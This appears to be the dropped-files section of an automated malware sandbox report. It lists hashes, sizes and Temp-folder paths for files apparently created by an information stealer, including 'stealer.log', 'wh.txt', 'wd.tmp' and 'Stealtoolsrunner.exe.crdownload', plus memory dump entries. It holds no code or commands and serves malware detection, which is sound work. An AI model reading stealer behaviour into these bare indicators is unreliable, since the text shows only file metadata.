Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 2KB
SHA256 d750e606cf1053c7a6d16d1e62961e24123a110fd5a10a3d8aa1a5d648c519d9
MD5 da10aef78797dbdc7dea4018e16225fb
SHA1 25132ddec49cf898566d8ae812e9d32ba3b952b0
SHA512 2759913350160eb941dccfcb17698c573be4ce7bd2f44a399cf64e79854642ad29a2d593e8fcbc36947fb39616d9af3e0ca412dffd3f5593d63e5ec9146f7500
TLSH
T16951FF74C99B92DD7EB5C12421AEE7E8DC68C416CC4CB7623516E98C7B9840C71D8B87
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 3KB
SHA256 65b6c352da5daf605759b421d4a50e337c39103a2c556fb42da91a3d5b0b89ef
MD5 4349369e05509342103719af320dbd6c
SHA1 d36ece39177b96ed9050db23bc56b0560f90b208
SHA512 dd9b7e13266c0447dcdb04dbb5f1df636747e57afb562e94a369cb9d499a0292222b93ef12113a7dce5dd3150e08891dcafd9f790d761a7609df8a0a35e5afe8
TLSH
T125512230D99B91DD7AB5C52522AAE7ECDCA8C016CC8DBB123616ED4C7B9844C72E47C3
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 3KB
SHA256 720778b941842560580b07f46ccc5445060ab17a971243bf85846032de577b7f
MD5 768308c568f89f509f025ecd4a9e7c70
SHA1 5d18ab780cbab579e1c030a84e7acace3ea6cd8e
SHA512 c5fd9cb1ca93f5eb60197fbe9b2247a0d28fef569e10a6145c9b1fd7e05dd4aa70fd9656847c0dce7af5d49f2847d294685670f52b0da1101dde6acf9bb21f5e
TLSH
T1C6611030C9AB91C97AB5C524226AE3ECDCA8C01ACC4DBB123516ED4C3B9844C72E4BC3
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 3KB
SHA256 a2369528cc48303d71a0ba78e0634ada14e29e5a8f3213a830fe70767ad71df4
MD5 8b1d7243058833f9f281ef230fef09f9
SHA1 612017cc0ff67a6aefe20f2db0a7ffcea88ef384
SHA512 74a8a4028444b02e731edd639c37be7297c33e08f56f5565d8b7c9cabac123094da40564c56bca6d9b2160bbbedb1ee7b154cd8f8c69af0739f20c27483c3a58
TLSH
T147610170C9AB92D97AB5C524226AE3ECDCA8C416CC4DBB123516DD4C3B9844C76E47C3
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 3KB
SHA256 6478ac558718fd343005e01205cfb7b2aab84f9a6d46313bcbfda983e122e12c
MD5 9ffbe41b7e89264d163fa0ed4bef1ae5
SHA1 fab8e4aaa98d0356d9b0e5e742327567e7f7025a
SHA512 d2a8602d74630673d40116dbdb02e12e3c87714b3dfc1f0934e18377b087420871e935d535540fa6d44cc5ea5e2b0e34a47530c1c6d5c056fe2d3282203e871e
TLSH
T153610070C9AB92D97AB5C524226BE3ECDCA8C41ACC4DBB127516DD4C3B9844C76E4BC3
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 3KB
SHA256 f05cd472cb3d253d22d3e3a195783a00b564b9c0ad5be30205127330cb2e2990
MD5 8efd7ecf55bd05a4d8e41be63779643f
SHA1 3c08f5654247c32838f38416a06e1f7eb839763b
SHA512 ee52ae02dbff7df4524cba973565d156fbe4d8aa05310a1b4cc1b3690d9e4b472622efb04a36281588e243dd2fbe4ba1aa871c468e7104a49690216beb71c5d9
TLSH
T1E881FF70D9AA91DD7AB5C12421AEE3ECDCA8C026CC8DBB523516DD4C7B9804C72D87C3
MD5 SHA1 SHA512 TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 4KB
SHA256 dff372db5eb6d07f7fecda1047890228c1085b6b7b0aad85637ee792e60e5687
MD5 17a965d8fbbe0047e4f0f309e1b96228
SHA1 94529ec4db4b6c12f2ca64841c150bcdb77c8022
SHA512 30491176294ff3b80d0477591c3438e01731f468e047d6a99e76e830fa507bbb62b092e9ad863b0b0156bd36ee58a993f38c714bf2eb80db1255c14bb8d626a4
SSDEEP 96:HGoSzWh2w1ii9445dO/jiOmpYJqh2w14i945dO/jiOmp2coYnh2w14iR:/hziiZhz4ishz4iR
TLSH
T177810E34C99B92DD7EB5C12421AAE7E8DCA8C016CC8CB7623516E94C7B9844C72D8BC3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 4KB
SHA256 9b9d25b486eb13dec1ed03140c1da7680e9ee3906f6b92bb660b8d534690513d
MD5 5a97445e8fcaa763f350f54da083d558
SHA1 91ab096419f31f6855a0ed0ec07de462c850fa8a
SHA512 095b53b4b7945866a330b46adee75420519c90876b01845a57bea6bdbba350a2a791ca8dc1c9e68c60347b31b2d003f439e746167797a0a32b9cb5f8544c8871
SSDEEP 96:HGoSzWh2w1ii9445dO/jiOmpYJqh2w14i945dO/jiOmp2coYnh2w14iV:/hziiZhz4ishz4iV
TLSH
T135910E34C99B92CD7AB5C12422AEE7E8DCA8C416CC4CB7523516ED4C7B8844C72D4B87
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 4KB
SHA256 c416cc6b62f578c19ee6d4fc1eb70126cdd92932435059868fccbd5b12b35082
MD5 e4cb1fa70f295f7b12af68804b0ff39d
SHA1 28c3ce7bea48a1069ff16d2204863de561f308a2
SHA512 4044b2536dfe9b0f1524edc5310563b2cbe98f3eb81ee031d7371b709f0f9a2ec5f66e42f70a1728748bea2e1c3552f9db36dcd5ebbed744db57b62db916db4a
SSDEEP 96:HGoSzWh2w1ii9445dO/jiOmpYJqh2w14i945dO/jiOmp2coYnh2w14ih7:/hziiZhz4ishz4il
TLSH
T1B9910D34C9AB92DD7AB5C52422AEE7ECDCA8C016CC4CB7523516ED4C7B9844C72D8B83
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 4KB
SHA256 082365ba55a5fe4f3038ecea50f601ae122cc53067457620752c45937845b517
MD5 e57937259a2b59f57c88a7691a8d9548
SHA1 ffef8c721235f84f88f0e28f142d2556f4fe9a61
SHA512 73fd261fe5ee659c5a75b0836cd7c50bffc8fb77953e61993a621fdc5ca84b7e583d48b0ff19b124c83b1325546c2654a77bf49e9f32f264284cda8f46b30f53
SSDEEP 96:HGoSzWh2w1ii9445dO/jiOmpYJqh2w14i945dO/jiOmp2coYnh2w14ih3U:/hziiZhz4ishz4iy
TLSH
T1DE910D34C9AB92DD7AB5C52422AEE7ECDCA8C016CC4CB7523516E94C3B9844C72D4B83
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 4KB
SHA256 55c07b43e4a2ea64cea4497c0878622ec3aa6b4a29d6cd8dc1ad059785818792
MD5 1ebbc785c38e42c8a5fd94d7c697e6c8
SHA1 7b0195c3b719f487067b6bb0cef9f8dc32850ccc
SHA512 09823819fded1951fb19bee8198c3b8783d9fcaf422ce8c439474587757d0a7585e892a322b51ccd8256878df92d73fe6100c9f5b181349759d59448079a0cd6
SSDEEP 96:HGoSzWh2w1ii9445dO/jiOmpYJqh2w14i945dO/jiOmp2coYnh2w14ih3y:/hziiZhz4ishz4iA
TLSH
T111910C34C9AB92CD7AB5C52422AEE3ECDCA8C41ACC4CB7527516ED4C3B8844C72D4B87
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stealer.log

Path C:\Users\Admin\AppData\Local\Temp\stealer.log
Size 4KB
SHA256 7b342b36a19d9a7ce53471228e9bcde704a39721e741e5893bfeaba4c008a7b7
MD5 6daaae6b6025b3578c0ff4df53233ef6
SHA1 e1362c8de0688bbb71b1d94679da84d6e68ac9a3
SHA512 bff7cc781daf18521f4d05acd76db8290513c5c6eb31dfd8e96e3351faae9e542bdc415e3b761011d7505ff3aabab9bb67649be08863f5629f17ff4214287c93
SSDEEP 96:HGoSzWh2w1ii9445dO/jiOmpYJqh2w14i945dO/jiOmp2coYnh2w14ih321U:/hziiZhz4ishz4ib
TLSH
T1AA910E34C9AB92D97AB5C52422AFE3ECDCA8C016CC4CB7527516ED4C3B8844C72D4B87
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wd.tmp

Path C:\Users\Admin\AppData\Local\Temp\wd.tmp
Size 138KB
SHA256 efbbb14f16a03c4198dab865482b4ca4cec861113158fbbed7d08245994b0bf9
MD5 812ffb2baed49a420da3c2bf41662565
SHA1 6c4b8df9aa0169d56f8a777b0e4327873c913b91
SHA512 036542d5ce386985a4502b38117e1c73a3bfb6d9146035abdfdb89938c85a8a01e4cb3f2a9c1a64603f3d8a3530a97248d51bf3d40821cad30a536ea238ea0f4
SSDEEP 192:9B+XuvBnl3JsueMEGvIW1/rcP2OeSpX6cq/+dVumkwkb:zeuvBnhJsueMEGvIW1DcP2O50WVumknb
TLSH
T1A9D3874B3A743102EDE69A721CE050BF5E3C716D4F55A5D428B620688EF2963A23D4FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wd.tmp

Path C:\Users\Admin\AppData\Local\Temp\wd.tmp
Size 224KB
SHA256 b3822eb709dea8ddc3e5b2ce4e90ed49d2f641ff702c2475cff45f102ccdeb92
MD5 d837c5895b6b53ddd53af45cf1e412f9
SHA1 2c3d3839b1f26951b4675e1b58bbf75caf76b779
SHA512 61c2b42f68d9c55c3db18b2961b2736b3c4a83f7fdd88c4eeb54d45324e6184f9aee12bc814cba59ab168f2fa40d5c709216b9bdc028bc038cd4b5a399e0bf11
SSDEEP 192:P+xWR2QcCfT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:mxUZcCfQ9QQn7IMW1hPJuVd6vPkxW
TLSH
T1B224740A7B747001EDE6D9725CB080771E3CB16DCF22A6915DB254698EB2853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wh.txt

Path C:\Users\Admin\AppData\Local\Temp\wh.txt
Size 658B
SHA256 a1e73f8846a6dd66ad72b97db6539e0e3835ba6d7551979814b3d61e98e1f039
MD5 911aed4611c0ad06a0771479c9d58403
SHA1 836cf31188dc343ee4d99aa3c75774c4b7177572
SHA512 69e6ca751ac9bbc92b7ef7b68b127d6a1f6dd80908fa3b491e6428d104c5d015101c945f5834a7e3d68d0f21c8c4dbc9af7da9872557344ff44a5ae0a55ef81f
TLSH
T1A90186AF51872DBF96134DCC3A02AAAD749500BB35FC0EA8D48DECA5BCA4C557512892
MD5 SHA1 SHA512 TLSH

Submit Download

wh.txt

Path C:\Users\Admin\AppData\Local\Temp\wh.txt
Size 32B
SHA256 adb76af895247616754a12e761d8d4bb147b0dd904f787125c526055d32cbe84
MD5 7e57a6e09e1d0ff95616181aa02dc0d4
SHA1 95258b1282704a51767a8c2d1adc8eed631f03d2
SHA512 e19329fddb5f67ad68dc229c5080c31bf3bc01e0dafd6e57d1d1acae33053500ba61172534c1978227a2992407c972f6585685a224361e37b768eda76f5de039
MD5 SHA1 SHA512

Submit Download

wh.txt

Path C:\Users\Admin\AppData\Local\Temp\wh.txt
Size 658B
SHA256 f6ee3d2c1fd8b964df4979e63b24b26676995c56e4145db9f49df9c4e832112c
MD5 c2d539e64febd8c5cd3180b67dab8daf
SHA1 d22dbb4375398e09fdf595c0083f28da9f4c16cc
SHA512 a716ce32908536cfbaf7b8fa2a8a65f66fe6489e0ae33cfa25c083d079e2d3c23db49a9e388e2a5d561b54a88b690c98a050a2f35c7e576ec2fc90dca4e9e377
TLSH
T1060186AF51872DBF96134DCC3A02AAAD749900BB35FC0EA8D48DECA0BCA4C557512892
MD5 SHA1 SHA512 TLSH

Submit Download

wh.txt

Path C:\Users\Admin\AppData\Local\Temp\wh.txt
Size 659B
SHA256 9558d0384443c5cbda025d87eae81148b04d6e7f027ba1a03e581d8b0c2df094
MD5 f71e7a8e34090cd62445a867cb826c64
SHA1 a245d03637c74c5e9e9f1d3b7e49737faa2bb7aa
SHA512 302df9cf74de71b6f46d96a4c0f72ec88ce441552e7585bc592bc241321351f0e53a9d6708fa7b4b8f9dcf7816bad86f22647d7694d2d03faf4738bd82803e28
TLSH
T1C70186AF51872DBF96134DCC3A02AAAD749500BB35FC4EA8D48DECA0BCA4C557112892
MD5 SHA1 SHA512 TLSH

Submit Download

wh.txt

Path C:\Users\Admin\AppData\Local\Temp\wh.txt
Size 659B
SHA256 0018904b5caebd9e8b12d25e2a33b30026a228e57c45113da5fe825bb0719f5b
MD5 b3bf3a4e0fca1b65ddf564abe1c4a5ad
SHA1 b54d5dbd0281f7ad7b049c04f323b8cdee2b0207
SHA512 63b376722c7eec7ea771f7b65475911e414e7d10be4ae5369ae1fe413bdcf28af8e9c49f8dc095c4be2042c670fe0c4cf12c3147bce150e26d85f89178e979d4
TLSH
T1C80186AF51872DBF96134DCC3A02AAAD749500BB35FC0EA8D48DECA0BCA4C557512892
MD5 SHA1 SHA512 TLSH

Submit Download

wh.txt

Path C:\Users\Admin\AppData\Local\Temp\wh.txt
Size 46B
SHA256 b2258ff0cb2bae321823ef04de0668a65c7a2b9480f7c4549d06d739836441cd
MD5 6ad013724ab43ed28d8bb396d9cf2f4e
SHA1 b01bd17aee80192f591e64a8ce60a29623d77762
SHA512 6f1d56a2a8922d479cda262d0751925541dca930152c879ea68e8860feb7acfdbedb286034668bc2dc4436af85650b11f54397b254dd17d293638452e647166a
MD5 SHA1 SHA512

Submit Download

wh.txt

Path C:\Users\Admin\AppData\Local\Temp\wh.txt
Size 235B
SHA256 fa12ea11e71e6b8c7b89d2d3cded92dc7ab4e7bb480b3b64d3d547634395fce0
MD5 bfe75929020ce6845b31646aefe17d1d
SHA1 b7585e65d813ddbc844c28026d4c2daf0f611b17
SHA512 497bfd8025fea69778532bfafe7024312d75443a5b7b50f1859db51f078a74aac8d39c5136bdf842471a9f7e47c48384fa9df21d6a47ff2553d538ec08c43ec0
TLSH
T1E2D05E084CDD107A07A2EDA2DE3989355C0C1902A9183A1584763FD7AA84B944788D58
MD5 SHA1 SHA512 TLSH

Submit Download

wh.txt

Path C:\Users\Admin\AppData\Local\Temp\wh.txt
Size 37B
SHA256 08508878865ce675652505545af3b1c6bba81e1a327d1c912d9ec967d48b349d
MD5 d0f6b0cb4f0187cdf74685da31f82392
SHA1 20cc79102e688261de81fa037f1b25b4c8958d0f
SHA512 7d9760eac5b6dd002fa07ffbedcf2a6f9cd701ce92f526b6eb58d69cbe98469ac4f3874c0fd460f3be1a0b82817cdc321982007713cacdf580faafbeeaa0724c
MD5 SHA1 SHA512

Submit Download

wh.txt

Path C:\Users\Admin\AppData\Local\Temp\wh.txt
Size 57B
SHA256 1089153b21a91e9668bcc889c9c7bef3e1ac856bfe290e8897b96f9c24977dcb
MD5 7cb1c575c12c03b3458d99e14086d342
SHA1 3054a3eb534126e151e41b9bb3502d9de656da9a
SHA512 192b6b190cc920e3f406448eabbe28335d3bb136d4e482c3508bc01a98700bd2099f2312b85a5c73591fcc648dd1a36a1b073511707b7048babca4ad3f3b3ec4
TLSH
T14290023F8588554AC7D0A195154910B531169533598541A7C21E560E21E5B2200555C7
MD5 SHA1 SHA512 TLSH

Submit Download

Stealtoolsrunner.exe.crdownload

Path C:\Users\Admin\Downloads\Stealtoolsrunner.exe.crdownload
Size 1.2MB
SHA256 3b1683e641e06dc556666922ca6f36e39a50a52bbdd8f94b1f79c525880e3833
MD5 2f48036e102cbace5760faa94b54f928
SHA1 610987f320a310e189c726acfd6375a7e92377a1
SHA512 370d72fb9ba3a739d2b63e7ca8b89498b356dd6b9a7f8118baa44d25ff8ff9d99eda087125723e95c51308dcd9d22ad8d0bb82e58a3f1c3fee018627985a246c
SSDEEP 24576:eMHHRfkISEpBSVUhSxVV21Cau6ajLWG0mXV6v:eMHHR3SyS7/1jLWGO
TLSH
T1B9553B17E2A344F8C56FC17486978772AA70B85942347D7E1E94DB322F21F609F6EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2264-666-0x00007FF648080000-0x00007FF6481C7000-memory.dmp

Download

memory/4496-331-0x00007FF648080000-0x00007FF6481C7000-memory.dmp

Download

memory/5356-420-0x00007FF648080000-0x00007FF6481C7000-memory.dmp

Download

memory/5616-416-0x00007FF648080000-0x00007FF6481C7000-memory.dmp

Download

memory/5616-618-0x00007FF648080000-0x00007FF6481C7000-memory.dmp

Download

memory/5896-512-0x0000027BA7500000-0x0000027BA7522000-memory.dmp

Download

memory/5896-545-0x0000027BC0100000-0x0000027BC02C2000-memory.dmp

Download